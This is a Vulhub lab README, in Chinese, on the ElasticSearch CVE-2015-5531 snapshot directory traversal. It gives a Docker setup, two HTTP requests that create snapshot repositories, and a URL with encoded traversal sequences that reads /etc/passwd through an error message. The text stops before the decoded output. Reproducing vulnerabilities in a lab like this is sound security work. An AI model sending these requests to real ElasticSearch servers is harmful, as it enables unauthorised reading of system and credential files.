Files
vulhub/elasticsearch/CVE-2015-5531/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

2.1 KiB
Raw Permalink Blame History

ElasticSearch 快照和恢复功能目录穿越漏洞CVE-2015-5531

ElasticSearch是一个分布式的RESTful搜索和分析引擎。

在ElasticSearch 1.6.0及更早版本中,存在一个目录穿越漏洞,攻击者可以利用该漏洞读取系统上的任意文件。

根据目标的具体版本该漏洞的利用条件也存在不同在ElasticSearch 1.5.1及更早版本中无需任何配置即可触发该漏洞在之后的版本中必须在elasticsearch.yml配置文件中设置path.repo参数。此配置指定一个必须可写的目录,作为备份仓库的根位置。如果未配置此参数,快照和恢复功能将默认禁用。

参考链接:

环境搭建

执行以下命令来启动一个1.6.0版本的ElasticSearch服务器

docker compose up -d

环境启动后,你可以通过http://your-ip:9200访问ElasticSearch服务器。

漏洞复现

1. 创建仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

2. 创建快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

3. 利用目录穿越读取文件

发送请求使用目录穿越来读取任意文件。例如,要读取/etc/passwd文件:

http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

文件内容将包含在错误信息中(经过编码)。解码后即可获得文件内容: